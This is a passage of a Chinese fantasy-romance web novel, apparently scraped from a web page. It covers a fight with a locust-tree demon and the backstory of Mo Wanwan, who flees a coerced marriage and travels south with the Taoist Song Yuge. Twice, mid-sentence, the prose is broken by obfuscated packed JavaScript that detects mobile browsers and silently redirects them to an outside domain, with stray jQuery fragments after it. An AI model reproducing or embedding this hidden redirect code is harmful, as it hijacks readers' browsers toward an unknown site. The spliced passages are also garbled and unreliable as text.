槐妖闻声转头,视线落在祁仕业身上,森冷的眼眸定定看着他,继而甜甜地笑了一声:“义父。” 祁仕业有些发怔,布满红血丝的双眼一瞬放空,竟像是分不清虚幻与现实。 然而就在下一瞬,那槐妖脸上笑意尽敛,扔垃圾一样随手将那半死不活的丫鬟狠狠甩开。 那丫鬟重重撞在了另一名侍卫身上,而后两人同时摔在地上,噼里啪啦碰倒了一排花盆,她柔软的身躯撞在花盆边缘发出令人毛骨悚然的骨折断裂声,随后蓦地呕出一口血来。 槐妖冷哼,转身一掌拍向了祁仕业的心口! 槐树成妖,不管幻化做什么模样,都早已不是血肉之躯。这槐妖的手掌坚硬得仿佛精钢铸造,若是真的一掌打中了祁仕业…… 叶清圆在辨清它意图的一瞬间,脑海中甚至来不及思索,已经下意识地摸出一张五雷符,纵身挡在了祁仕业的身前! ——砰! 强大的气劲在花厅内掀起一阵狂风,鲜血随风溅出,泼洒在瓷瓶中的绣球花瓣。 48. 蕴灵 “你……啊……竟敢——!!” 槐妖痛苦的喘息声断断续续地响起,它捂着几乎断掉的左臂,踉跄着后退半步。乌发戴着的凤冠早已歪倒在一旁,露出纷乱的鬓发和朱钗。 叶清圆仍旧维持着高举五雷符纸的姿势,意想当中的雷鸣却并未出现。她慢慢放下手臂,低头向自己的脖颈看去。 那块白玉吊坠垂在她雪白的颈间,发出淡淡的暖意。在这幽暗的花厅内,亦是莹然有光。 栀子花的周遭竟隐隐现出一圈金色的法印,灵力充沛而霸道。 这块玉,竟然比护身符还有用! 难怪谢尽芜要贴身佩戴,还要她贴身佩戴。莫非谢尽芜是在保护她不要受伤吗? 来不及思索更多,那槐妖已经踉跄着站起身,浑身散发出防备与戾气,像是猫科动物警觉时毛发竖如钢针。 它皱起眉,粗暴地将受伤的臂膀重重抡了一下,喀拉一声枝干摧折的脆响之后,那条险些断掉的手臂竟就这么缓慢地复了原。 众人莫不骇然。这槐妖如今的肌肤与脸色已然是与树皮相差无几,粗粝而乌青,看起来恐怖诡异无比。 它喘息未定,阴冷的视线盯上了叶清圆衣领间的那条吊坠,冷笑道:“蕴灵玉?这么好的法器,你从哪里得来的?” 叶清圆不答,反问它:“你是妖,为何会像人一样流血?” 槐妖一怔,继而呵呵笑了起来:“我为何要告诉你?” 叶清圆想了想:“是不是因为莫婉婉?” 这一句话,槐妖的脸色顿时变了。随即,它满脸的震惊就被滔天的愤怒所取代,它的身躯以一种人所不能及的速度闪到了丫鬟们的身旁,手臂抬起,原本柔嫩皙白的手指和腕部逐渐发青、锋利,长长的指爪渐显狰狞。 仅眨眼的功夫,无数槐枝从它正红描金的袖笼当中钻了出来,直冲丫鬟们的面门而去! 千钧一发之际,叶清圆抬手甩出几张雷符,两指并拢口念法诀,那符纸得了指令,迅速飞过去贴在了槐树枝上。 下一瞬,烈火爆开! 槐枝被符纸炸得断裂开来,宛如零落的火团一般砸落在地砖上。槐妖发出一声痛苦的嘶吼,凤冠也被它摘下来扔在了一旁,它回身对叶清圆怒目而视,乌发在狂风中飞扬,漆黑的眼瞳竟然隐隐现出血红之色! 这一眼简直宛如厉鬼般怨毒。叶清圆登时心中一颤,冷汗随即冒了出来。 这槐妖被符纸所伤,喉咙中发出不甘怨恨的尖利嘶吼,这声音的穿透力太强,震得博古架上的瓷瓶都微微颤动,听得在场之人皆是一阵头晕眼花,几欲作呕。 满架的灯烛剧烈摇晃起来,两枝没有放稳的灯烛在这种震颤中摔落在地,烛火熄灭。 厅中的光线霎时昏暗了些许,众人只觉眼前一阵眼花缭乱,似乎有无数雪白的光点在眼前飞舞、旋转,带着幽幽的阴冷之意。 这槐妖的嘶吼声中仿佛有致人头晕的效力。叶清圆忍着强烈的眩晕感,手心按在身旁的梨木椅背上,皙白的手指甚至在隐隐发抖。 她想要从荷包中再取符纸,却连抬起手腕的力气都没有了。 一只骨节分明的手伸过来,掌心握住她脱力的手腕。 带着凉意的灵力隔着薄薄的轻纱般的夏衫袖口,流水一般渡了过来。 谢尽芜扶着她站稳。 “……是你。” 叶清圆只觉周身一阵清透的舒爽之意,像是山涧溪水潺潺流过。她轻声对谢尽芜道了谢,大而明澈的双眼中闪着温和纯净的光芒,灵气逼人。 方才面对槐妖时的警惕与防备,尽数消散不见。 谢尽芜微垂着眼帘,花厅内光线微弱,昏暗与朦胧掩去他此刻的神情。 他低声道:“为了救人,你连自己的安危都不顾吗?” 而在花厅正中,槐妖的嘶吼声骤然变得沙哑起来。 一道雪亮的刀光闪过,它刚长好的手臂竟是被砍掉了一截。 潘璞玉手持长刀,神情肃冷地站在博古架旁。 槐妖喘息着踉跄半步,原本白皙幼嫩的脸颊肌肤已经完全变成了青黑色。它的脸上已经看不出莫婉婉的半点特征了。 潘璞玉冷笑道:“很好。若你还是那副姑娘样貌,或许我还下不了死手。” 槐妖的喉咙里呼噜呼噜地喘着粗气。遒劲的槐枝探出,宛如长鞭一般朝着潘璞玉迅猛击打而去。潘璞玉纵身跃开,身后一只插了绣球花的瓷瓶应声而碎。粉蓝色的花瓣零落满地,像是下了一场莹蓝的雨。 室内的打斗不比行军打仗,潘璞玉许久没有亲自动手练过,与这槐妖叮叮当当斗了一会儿,竟也觉出些趣味来,出刀一次比一次有力,纵使以血肉之躯,也与这槐妖缠斗得不分上下。 叶清圆恢复了清明之后,首先叫厅内的侍卫与丫鬟都躲避到一旁,以免他们被潘璞玉和槐妖的缠斗所伤。 “吱呀”一声,谢尽芜推起支摘窗,垂眼看向窗框的法印。 “这与竹林宅院中的法印,倒有些像。”叶清圆思索道,“只是竹林中设下法阵之人的灵力太过薄弱。不比这只槐妖。” 她心头疑惑,轻声道:“奇怪,它为何要设下与竹林宅院一模一样的法印?又为何用木板封住这里的窗户呢?” 对于一只妖来讲,想要杀死手无缚鸡之力的凡人简直是轻而易举,直接动手就是了。没有任何必要在此故弄玄虚。 谢尽芜的视线落在支摘窗棱的钉子坑上,漫不经心道:“或许竹林宅院的木窗,也曾被这样封死过。” 叶清圆心中一动,转头看向花厅中逐渐落于下风的槐妖。 槐妖接连几次被潘璞玉手中长刀砍伤,惊怒交加:“你手中所持,是何物?” “这个吗?”潘璞玉提刀,刀身在灯烛的暖光下漾出金色的光华,随口笑道,“是辟兵世家锻造而出,专杀你这般愚蠢低智的妖孽。” 槐妖愣了一下,好似没有反应过来,随即怒目圆瞪道:“你辱骂我?!” “陈述事实,何来辱骂?” 潘璞玉唇角微弯,笑着嘲讽:“你在这花厅设下阵法想害死我府中之人,又多次故弄玄虚企图让我和谢公子离开此地,方便你对在场之人下手,是吗?潘某好歹也是在沙场 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潘璞玉猝不及防间只觉一阵裹着清甜花香的冷风狂送,霎时慌忙提刀格挡。然而为时已晚,那尖利的指爪速度快得几乎出现残影,蓦地穿过纷扬的槐花雨幕,距离他睁大的双眼仅剩半寸! 无数细碎的枯枝败叶扬起,对整个花厅的人展开无差别攻击。 谢尽芜抬袖,修长有力的五指张开,掌心凝聚灵力,对准了纵身跃起的槐妖。 下一瞬,那槐妖的整个身躯就好像被定格在半空一般,寸步不动。那尖利的指尖就这么杵在潘璞玉的脸前半寸,指甲上隐约有青黑的烟雾飞散,似乎是剧毒。 谢尽芜的神情很冷,目光肃戾得像是要吓死人。不知他是厌恶这般暗中偷袭的下作手段,还是根本就讨厌槐妖,他的脸色看起来很难看。 他慢慢收拢五指,手掌用力,手背的青筋隐约显露出来。 那槐妖就仿佛是被攥在他的掌心一般,四肢与支棱的槐枝逐渐收缩、蜷曲,最终整个身躯都委顿成了一团。 这种术法比纯粹的身体伤害要残忍得多,槐妖很快坚持不住,浑身开始打摆子。 “我认输!我……认输!求你住手!”槐妖的头颅都被迫扭向一旁,神情已经变得很痛苦。 谢尽芜维持着那个姿势没有动,周身气劲如浪潮般翻涌外泄,墙边博古架上拜访出瓷器与古玩都被震颤得不住晃动。 叶清圆与他对视一眼,随即了然。她走到槐妖的身旁:“你和莫婉婉,到底是什么关系?” 槐妖咬着牙:“先把我放下来!” 话音落下,它只觉捆缚着身躯的灵力愈发狠了,缠得它快要爆裂开来,慌忙求饶道:“我说,我说!” 潘璞玉收刀入鞘,眉心微蹙。 祁管事站在灯烛也照不清的阴暗角落里,胡须微颤,紧握的手心里满是汗水。 槐妖咳嗽了一声,血沫顺着唇角流下来。 它阖上双眼,那张与莫婉婉仍有几分相似的脸上露出了哀戚的意味。 “是、是莫婉婉以自己的血肉相祭,换来我的死而复生。” 49. 婉婉 麓春时节,明媚的日光铺陈了漫天。 千花河的河道宽阔,却在鉴花楼的位置蓦然收窄。河面上架了座拱桥,桥下河道旁的街道热闹非凡,卖菱角、花饼和各类小玩意的货郎推着小车,笑意盈盈地吆喝。 拱桥之上,不时有衣衫翩翩的公子和贵女们经过,微风轻拂,带出一阵熏人欲醉的香气。 十七岁的莫婉婉站在桥上的石栏旁,视线放远,眺望着远处的如火春花。 她穿一身素色长裙,不施粉黛,怀中抱几本古书,皎洁的一张绣面上有斑驳的光影移动变幻。 河面波光闪烁,有流着鼻涕的小孩子在河边比赛打水漂,石子跃动着扫过水面,涟漪一圈一圈地荡漾开来。日光倾洒在水面上,像是浮动着万点金光。 忽然,人群中有人笑着惊呼道:“小侯爷回城了!小侯爷回城了!” 这一嗓子喊出来,顿时吸引了不少人的目光,就连擦着鼻涕的小朋友也停下了动作。众人循声望去,明媚春光照映下的林荫道上,一队骑着高头大马的军士从青石道的尽头,悠闲而缓慢地行来。 为首的那人肩宽腿长,腰背挺拔,缰绳在掌中缠了两圈,又绕过腕骨。 正是侯爵府小侯爷潘淳玉。 春日正午,满城花开。他在众人的簇拥中骑一匹红色的骏马回城,弓马娴熟,意气风发,马蹄达达清脆而有韵律,漫步走过了这片林荫道。 他未着甲胄,只穿一身薄薄春衫,微风勾勒出他清瘦却有力的身形。他发顶的金环掩在道旁枝叶漏下的斑驳阳光中,一瞬间不知晃了多少人的眼。 道旁的百姓忍不住引颈眺望,目光纷纷落在潘淳玉身上。潘淳玉的唇角含笑,眉梢一挑,视线却落在桥上的素衫少女身上。 莫婉婉的脸色一变,转身就要走。 潘淳玉抬手做了个手势,身后跟随的军卫们策马先行离开。他则是停在了拱桥下方,仰头望着桥上。 河畔鉴花楼的乐师和姑娘们也是爱凑热闹的,笑闹声中,五颜六色的手绢和衣袖早已挥舞成一片彩色的海。更有热情奔放的,藕臂轻扬,鲜花便从高高的楼上抛了下来,纷乱如雨。 潘淳玉的视线自始至终都不曾离开过桥上的少女。他翻身下马,眉眼含笑地奔赴过去,柔声道:“今日的课上完了?” 莫婉婉抱着书,小脸严肃地冲他一颔首:“嗯。” 潘淳玉的一双眼泛着诚挚的暖意:“待会要去干什么?要不要一起去喝茶?” “去鉴花楼吗?”莫婉婉淡声道,“那些姑娘们应该不太欢迎我吧。” 潘淳玉闻言笑得更开心了:“你吃醋了吗婉婉?那种地方我不常去的,我和她们只是点头之交,你放心就好。” 莫婉婉蓦地皱眉,用一种看傻子似的眼神看着他:“谁吃醋了?请小侯爷不要乱讲。” 潘淳玉像是听不懂她的话:“我已经给大哥写了信,求他出面说服母亲和父亲同意我们的婚事。婉婉,过几日我就派人去祁叔那里提亲,好吗?” “你在胡闹些什么?潘淳玉,我何时答应过要嫁给你了?”莫婉婉有些急了,声音不由提高了些许,引得路过的行人频频回望。 潘淳玉的神色顿时有些落寞:“婉婉,你不喜欢我么?” “你脑子有病啊!我什么时候说过喜欢你?”莫婉婉气得直跺脚,脸都红得要滴血。她无法和眼前这个人再多沟通半句,索性转身就跑。 满腔热情似火的潘小侯爷,就这么被她晾在了拱桥上。 鉴花楼上的姑娘们见状嘻嘻笑了起来,潘淳玉怔在原地,眼眸中忽地闪过一丝无措。 - 翌日一早,潘府的聘书便到了祁管事的家里。 祁仕业坐在堂屋的椅子里,他的手指颤抖着,力道之大快要捏碎这一纸聘书。 “以我的女儿嫁入潘府,换来我们老两口的安度晚年?”他低声道,“这是哪门子的提亲,这分明是以性命相威胁!” 莫婉婉站在他面前,垂着脑袋,满脸的灰败和绝望。她轻声道:“义父,我们躲不过侯爵府的。我嫁就是了。” 祁仕业震惊地抬头,眼中怒意未消:“那你的学业怎么办?书不念了?” “先保住性命再说吧,”莫婉婉扯起一抹苍凉的笑,两行清泪从她的腮边滑落,“书……不念了。” 祁仕业闭上眼,鬓边的白发映衬他眼尾的皱纹。沧桑半生,到头来,竟落了个这样被人胁迫的局面。 良久,他沉声开口:“这件事,我和你娘商议一下。你今日还去学堂念书,像往常一样做功课就好,别的什么都不用想。不要因这件事,扰乱了你的心绪。” 然而为时已晚,潘府已经将这桩婚事宣告给整个金璧城的百姓。 莫婉婉一上午都在别人的指点和笑声中,魂不守舍、怒不可遏。 纵使她走在回家的路上,仍避不过行人投来的或艳羡或轻鄙的目光。 罪臣之女,竟也能飞上枝头变凤凰。侯爵府少夫人的位子要什么金银珠宝没有,还装模作样地念什么书?整个金璧城,谁不说她的命好? 乌金西坠,月上枝头。祁仕业枯坐在正堂中,祁夫人怀中抱着一只包裹,抬袖拭去脸上的泪水。 莫婉婉怔怔站在二人面前:“我走了以后,你们该怎么办?” 祁夫人抽泣道:“我们自有应对的法子,你只管考虑你自己的出路。婉婉,出了城之后沿着千花河一直向南走,到了青蔓镇之后,找一家姓方的人家,那是我娘家亲戚。你先在那里待上几日,若是还想继续念书,就找个学堂。若是不想呢,这包裹里我放了些金银细软,随你要干什么都绰绰有余。” 她说到最后,声音里已经染上怒意:“不必害怕潘家派人会去找你,这天下之大,难道处处都是他们潘家的人不成?” 莫婉婉听到这里便难受不已,想到今日一别,不知何时才能与父母相见,不由得悲伤起来。 祁仕业见状安慰道:“我看那二少爷也只是图个新鲜,兴许过段时间,你还有机会回来呢?” 祁夫人将包裹塞进她的怀里,狠心道:“不要再耽搁时间了!趁现在天黑,你赶紧出城,最好在天亮之前就走得远远的!” 说罢,用力在她后背一推:“快走!” 窗外夜色愈发浓重了,院里那株枣树的枝桠交错伸展着,映在漆黑的夜幕中像是张牙舞爪的兽。 莫婉婉走了将近两个时辰,筋疲力尽,连小腿肚都在发抖。她矮身在繁密的灌木丛中,呼吸轻颤,双眼大睁,警惕周遭的任何动静。 忽然,不远处密林中一点微弱的光,吸引了她的目光。 那是一座破败的道观。 道观很小,牌匾老旧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445961|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木门紧闭。浓密的藤蔓沿着斑驳的墙壁一路攀爬,遮住了大部分的墙面,让这座道观与身后的绿木浓阴几乎融为一体。 唯有一点烛光,透过紧阖的木窗,洒落在窗前的灌木丛中。 ——道观里有人。 莫婉婉俯身趴在树丛后,观察了片刻,那窗户上终于透出了一道人影的轮廓。 那人身姿挺拔,发束高冠,臂弯中躺着一柄拂尘。看模样是个道人。 道观里有道士,这本来没什么奇怪的。然而荒山野岭里,这么破旧的道观里竟有如此气质出尘的道士,这就很是奇怪了。 不知这个道士,究竟是好是坏。 “林中更深露重,姑娘若是不嫌,尽可入观一坐。” 他的声音冷得彻骨,不带任何情绪起伏。 莫婉婉浑身打了个冷颤。她确实不能露天歇息,非冻出病来不可,明日还怎么赶路? 说话的这个道士,听声音也实在不像坏人。 她牙一咬心一横,进退都是狼窝,有什么不敢的? 素手推开破旧的木门,一阵冰雪般的清冽之意扑面而来。 道观虽有些破败,却好在干净整洁,应当是被人有意清扫过。观中不知侍奉哪一位道祖,青袍曳地,拂尘飞扬。 莫婉婉吸了吸鼻子,霎时通心舒畅。此时分明是麓春时节,供案上的青铜香炉也并未燃香,这道观中却隐约浮动着凌冽的寒香,也不知是何缘故。 “姑娘请坐。” “好。”莫婉婉在黑暗中奔波逃窜了近两个时辰,此时骤然浴身在烛火明暖温和的光晕中,浑身的紧绷忽然就松懈下来了。 她放下肩上的包裹,在旁边的干草堆坐下,一双手抑制不住地颤抖。片刻之后,才慌张地想起要道谢。 道人正在闭目凝神,闻言也不看她,只淡声道:“姑娘客气了。” 话音落下,再无话说。小小的道观中,沉默在二人之间弥漫开来。 莫婉婉抬手理了理纷乱的头发,深呼一口气,打开包裹,摸了一只脆甜的白桃出来。 她饿得很了,也顾不得什么体面,张嘴就是一大口,清脆的咀嚼声响在幽暗寂静的道观中。 她边吃边小心翼翼地打量着眼前的道士,眼里藏着防备。他不知是何出身,穿一身泼墨山水纹的道袍,臂弯中躺着一柄拂尘,眉眼冷淡,肤色白皙,整个人干净得像是从冰雪天地走出来的人。 烛光昏黄,冲淡了他眉宇之间的那股凌厉之气,倒显出几分模糊的温和来。 或许是莫婉婉的目光太过直白,片刻后,宋雨阁睁开眼,与她探究的视线恰好撞在了一处。 莫婉婉蓦地一惊,桃子肉卡在了喉咙,顿时呛得剧烈咳嗽起来。 她的脸上本来都是汗,乌发被冷汗黏在脸上,鼻头还有一些脏脏的痕迹。此时咳得停不下来,脸颊通红,更是狼狈得不成样子。 宋雨阁皱着眉看她一瞬,半点安慰的意思都没有,甚至觉得她吵。 他旋即闭上眼,继续闭目养神。 莫婉婉咳了个惊天动地,好不容易止住了咳,将那吃剩下的桃核扔出门外。 清了清嗓子,她摆出一副端庄的闺秀模样,试探道:“我叫莫婉婉,请问道长叫什么名字?” 那道人看她一眼,薄唇吐出三个字。 “宋雨阁。” 50. 分别 “宋道长。”莫婉婉小心翼翼地冲他笑了笑,“宋道长衣饰清贵,气质不凡,怎么会栖身在这座小小道观里?” “路过。”宋雨阁纠正道,“道观无论大小,姑娘谨言。只是此地荒郊野岭,姑娘怎么会来此?” 这下,莫婉婉笑得有些勉强了。 她乌黑的眼珠滴溜溜一转,随口扯道:“我啊,我……也是路过。” 宋雨阁冰冷的目光落在她的面上,显然是不相信的模样:“姑娘若有所顾虑,贫道也不会勉强。” “没有啊,哪有隐瞒?真的只是路过。”她说完,自己先干笑了两声。 宋雨阁默然地望住她,良久,无声地叹了一口气:“好。” 这一个字,将莫婉婉故作的坚强一瞬打散。 她奔波了好久,身体极度疲累不说,精神方面的压力也早已不堪重负。此刻有个道长在旁,浑身可靠的模样,她终于忍不住要倾诉:“其实……我是逃婚出来的。” 宋雨阁的神色并没有惊讶。 莫婉婉身上的书卷气很重,衣饰虽简朴素雅,却也颇为干净,想来是位家境清寒的女学徒。 可她的脸颊被蹭了脏,神色也慌张,一双大眼睛里满是慌乱与悲伤。这种更深露重的夜里,她孤身一人携着包裹来到这种荒郊野岭的地方,必定是遇到了什么难事。 莫婉婉一开口,话匣子就收不回去了。满腔的委屈争先恐后地涌出来。 她眼中的泪一瞬间淌了出来,嘴巴一瘪,抽泣道:“有个官家少爷非要娶我,还以我爹娘的性命相逼。可是我根本就不喜欢他!” 宋雨阁的脸掩在烛火摇曳的阴影中,神情平静。 “我只是想好好地念书,将来有本事报答义父义母的养育之恩。为何总要逼我至此?”她小声抽噎道,“潘家对我确实有救命之恩,可是这恩情,就非要以这样的方式来偿还吗?我知晓自己是寄人篱下,合该小心谨慎着,因此从小过得战战兢兢,生怕哪一个字说错了,惹来不必要的麻烦。然而现在我一个字不说,满城的人却都知道我和潘家二爷之间定了婚约!这哪里是婚约?这分明是他们潘家单方面的胁迫!” 她委屈得呜呜哭起来:“可怜我的义父义母,养育了我多年,如今半点福都没来得及享,就因为我而被他们这样威胁!” 她边哭边讲,还丝毫不顾及形象地从包裹里拿手帕擦鼻涕。 宋雨阁听得云里雾里,总算从她颠三倒四的陈述中理清了点头绪:原来是个官家子弟以势压人、要强娶民女的故事。 他垂着眼,等莫婉婉哭够了,才淡声道:“姑娘准备去往何处?” 莫婉婉虽不谙世事,可终究还存了个心眼,没说得太仔细:“我……我准备投奔亲戚去,翻了这座山,不过百步,就到他们居住的小镇了。” 她说亲戚家就在山后,就是专程说给宋雨阁听。万一他心存歹念,至少也忌惮几分。 “嗯。”宋雨阁很自然地问,“那姑娘身上可带够了盘缠?若是不够,贫道可以……” 莫婉婉连忙摆手:“不必不必,我的包裹里还有些细软,足够我的吃穿用度。多谢道长好意。” 宋雨阁没有搭腔。 他垂着眼,视线落在镂刻着家族纹样的拂尘柄上,极轻地笑了一声。 这一声笑,让莫婉婉霎时面红耳赤。 她还当他是好意,因此处处坦诚。结果两句话的功夫,就被他摸清了底细。 “若我心存恶念,方才那一句,便足够我对姑娘出手,杀人劫财。”宋雨阁也感到无奈,“姑娘,出门在外,不可对任何人放下戒心。” 莫婉婉不服:“任何人?也包括道长你吗?” 宋雨阁很轻地颔首:“也包括我。” 莫婉婉更不服:“你可是出家之人,出家之人也会喜欢这些钱财俗物吗?” 兴许是她的发问太过直白,宋雨阁静默一瞬后,终于露出了忍俊不禁的笑容:“出家之人,就不可以喜欢俗物了吗?” 莫婉婉看出他在和自己开玩笑,绷紧的脸也忍不住柔和几分:“你这人真怪。” 宋雨阁本来也是打算一路南下,二人在这小小的道观中交谈许久,彼此也逐渐放下防备。莫婉婉心想既然是同路,何不顺势同行?于是整装待发,沿着千花河一同南去。 宋雨阁本是有任务在身,这一路上只照顾莫婉婉便耗去了不少时间。彼时二人已经离开金璧城三十多里,莫婉婉跟在他身旁,相当于有了个小靠山。慢慢地,也不再担心会被潘府的人追上。 她一路见识了许多光怪陆离的妖鬼之事,害怕之余,倒也觉出些趣味来。久而久之,对捉妖一事产生了浓烈的兴趣,甚至缠着宋雨阁要拜他为师。 宋雨阁当然不同意。他本就是为了任务而来,与她相识、同行,本就足够让他的计划混乱、以至于险些失控了。他不愿再牵扯到太多杂事,因此面对莫婉婉的屡次央求,也感到很是头痛。 两个月后,青蔓镇。 幽静的茶馆中,茶雾氤氲,清香漫漫。 “少年听雨歌楼上,红烛昏罗帐。” 莫婉婉撑着下巴眺望窗外水雾蒸腾的雨幕,鬓发间的银簪一闪一闪。 那只银簪也是绣球花的样式,她衣裙上绣制的也是绣球花。 冷凝的蓝色里慢慢泛出粉,像是日落后的天幕,夕阳将收未收,大片澄澈的蓝已经泼洒上去。 宋雨阁装作听不懂她的暗示,垂着眼睫,只顾品茗。 “你真的不考虑收我为徒吗?”莫婉婉笑盈盈道,“我已经在城西盘下了一处店面,过不了几天就要开张了!你若是肯收我为徒呢,以后每年的利润,我分你五成,怎么样?” 宋雨阁听着这段毫无逻辑的话,忍了片刻,还是忍不住笑了:“哪有这样的道理?” 这哪是要拜师?这分明是合伙做生意。 “我是出家之人,不好去做这些分红的事。若是被家里人知晓了,会受罚的。”宋雨阁半真半假地和她开玩笑,“你做事的胆子太大了,我真怕哪一天会被你拖下水。” “挣点钱就要受罚?若你家里人知晓,你这两个月都和我在一起,连任务都被迫推迟了半个月,又会怎么样?” 宋雨阁轻笑,不甚在意地笑:“大抵,会将我逐出家门吧。” “真是一点都不通情达理!”莫婉婉撇嘴道,“你家中管教这么严,连姑娘都不许认识吗?” 宋雨阁只笑,不答。 过了一会儿,莫婉婉又故作一本正经地和他闹:“或者你去给我们酒馆里赐福也行啊!有酒喝,还有道长赐福。慢慢地,这不就成了招牌嘛?” 宋雨阁没有吭声。 沉默一瞬后,他开口道:“我要回去了。” 莫婉婉愣了一下,随即笑道,“那恭喜你呀,这是好事。” “嗯。”宋雨阁抬起眼。 他的眼神早已不像初见时那样冰冷、懵懂,而是掺杂了一些连他自己都看不懂的柔和。 莫婉婉的思绪纷乱,忽然忙碌起来,她给宋雨阁倒茶:“要不要我送你一件礼物?毕竟我们也认识两个多月了,不是吗?” “礼物?”宋雨阁的视线不自主地就向上飘,落在她乌发间那支绣球花的银簪上,又很快收回来,“不必了,我很快就要回家,身上不适合带这些。” 莫婉婉有些沮丧:“我还没说是什么呢。” 宋雨阁思索一瞬,从袖中取出一只小小的锦囊,轻声道:“这里面放了三支短竹签,以后你若遇到任何麻烦,就点燃其中一支竹签。” 莫婉婉接过来一看,每支竹签上都写了个小小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445962|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“雨”字。 窗外细雨淅淅,烟锁青街;窗内宋雨阁端坐桌前,眉眼温和。 倒是相映成趣。 她好奇道:“点燃了,然后呢?” 缭绕的茶雾模糊了他的半边眉眼,宋雨阁道:“然后,我就会出现。” 莫婉婉捏着竹签的手指蓦然一顿。 她脸上的神情顿时就有些难过了,方才作出的那种浑不在意的笑容霎时消散。 一双乌黑的杏眼望住了宋雨阁,她很认真地问:“若是没有遇到危险呢,我也可以这样找你吗?” 宋雨阁避开她的目光:“竹签有限,你不要浪费机会。” 莫婉婉的心底忽然生起一种铆足了力气要得到答案的执着,此路不通,她就立刻采取别的方式。她能感受到自己胸腔里的剧烈的心跳声,她听到自己颤抖的声音响起:“等你回报任务以后,你还会再来这里吗?” 宋雨阁眼睫颤动一下,这次给出了明确回答:“……不会。” 莫婉婉追问:“此生都不会?” 宋雨阁深吸一口气,手指捏住茶盏的杯壁,用力得泛了白:“或许十年后、二十年后,我会再来这里。或许到了那时,你的儿女已经学会念书煮茶了。” 他说到最后,甚至很轻地笑了一下,说不清是释然还是自嘲。 莫婉婉若有所思地点点头,迅速从那种失神的状态恢复过来,扯起一抹笑容:“……是啊,到时候还要你补上我的喜酒钱、孩子的满月钱、还有三岁的红包钱呢。” 宋雨阁也配合她作出苦恼的模样,话语里却是带着笑的:“那我得好好攒一攒了。可不要把我的全部身家都填进去。” 莫婉婉也笑。两人对坐着笑了半天,皆是勉强。话都讲到了这个份上,终于谁也不知该说什么了。 过了好久,窗外雨势渐收,宋雨阁看了一眼天色,起身:“莫姑娘,贫道告辞了。” 莫婉婉没说话,她明知自己该说“山遥水远、后会无期”,或者祝他“一路平安”,再不济也道一句“告辞”。 可她却只是坐在那里,满脸掩不住的失落与难过,看着他转身下楼,清瘦的身影穿过拥挤的客官们。然后抬手掀开竹篾帘子,走出这清香氤氲的茶馆,走进那一眼望不到边际的雨雾里。 泼墨山水纹的衣袖在帘后一闪,就此消失不见。 莫婉婉收回目光,端起桌上早已凉透的茶水,一饮而尽。 她的视线落在桌面粗糙的木质纹路上。 半晌,忽然不动了。 一道阴影覆盖上来,熟悉的兰杜香气霎时充盈鼻端。 她的手指忽然开始发颤,茶盏底部磕在桌面上,发出沉闷的声响。 潘淳玉的掌心轻轻地按在了她的肩头,手指逐渐用力,直到攥得她痛呼出声,眉头紧皱。 “婉婉,原来这两个月里,你一直和那个道士在一起啊?” 潘淳玉俯下.身,低沉的嗓音里满是压抑不住的暴怒:“他的离开让你很伤心是不是?那我呢?你离开我这么久,可也考虑过我是否伤心?” 莫婉婉已经没有办法回答他了。她稍微偏过头,余光里瞧见整个茶馆的二楼都已经被潘淳玉的手下包围。 恐惧让她的牙关止不住地打颤,泪水沿着细嫩的脸颊倏然滑落。将要流到唇角的时候,又被潘淳玉的指腹轻柔地抹去。 他冷哼一声:“我为了找你,这一路风餐露宿,可你呢?你这段时日过得倒是很滋润啊!你只顾着和那个臭道士快活,你想过我们的婚约没有?你想过祁叔没有?你知道你义父义母现在是什么情况吗?!” 莫婉婉猛然挣扎起来:“你把他们怎么样了?潘淳玉,你告诉我!你把他们怎么样了?!” 潘淳玉根本不理会她的挣扎与哭喊,大手一挥:“带走!” 51. 婚事 冷凝雪亮的剑光闪过,窗边设下的阵法被剑意一瞬击溃。 “铮——!” 明媚的日光透过窗纸,泼洒进原本灰败幽暗的花厅。窗外鸟鸣啾啾,微风拂过绿木树梢的沙沙声响,霎时冲淡了厅内逼仄紧张的氛围。 众人被这突如其来的亮光刺了眼睛,待反应过来时,浑身的紧绷终于松懈下来。 谢尽芜收剑入鞘,手腕微动,将槐妖身上捆缚的灵力削弱了一些,给了它喘息之机。 “莫婉婉以血肉相祭,你也因此获取了莫婉婉的记忆?”叶清圆问道。 “是,她的情绪,我也可以感知到。”槐妖说到此处,唇边露出怀念的笑容。 显然这段与宋雨阁相识、相处的时光对于莫婉婉而言,是很珍贵的回忆。 潘璞玉皱起眉,望向脸色惨白的祁仕业:“当初淳玉给我写的信中,可是讲到他与莫姑娘是两情相悦,自愿结为夫妻。” 祁仕业垂着头,颤声道:“二少爷心意已决,谁人来劝都是无用。” 言下之意,潘淳玉铁了心且不择手段要娶到莫婉婉,连崔老夫人的话都不好使。那种情况下,谁有胆子写信给北疆,说潘淳玉强娶呢? 除非是活够了。 潘璞玉闭上眼,压下眉宇间的烦躁,对槐妖一点头:“你继续说。” - “一进门就是诰命加身,几辈子修来的福分!” “据传还是小侯爷亲自写信求了他兄长出面,才说动老侯爷和崔老夫人答应这门亲事的。” “啧啧啧,小侯爷也是一片痴心。哎?不过这婚约不是早就定下了吗?怎么听说这位夫人早先……逃婚啦?” “嘁!爱钱就爱钱,还搞什么欲拒还迎?谁不知道她嫁进侯爵府就是贪图财富?” “嘘!快闭上你的嘴吧!不该说的别说!” 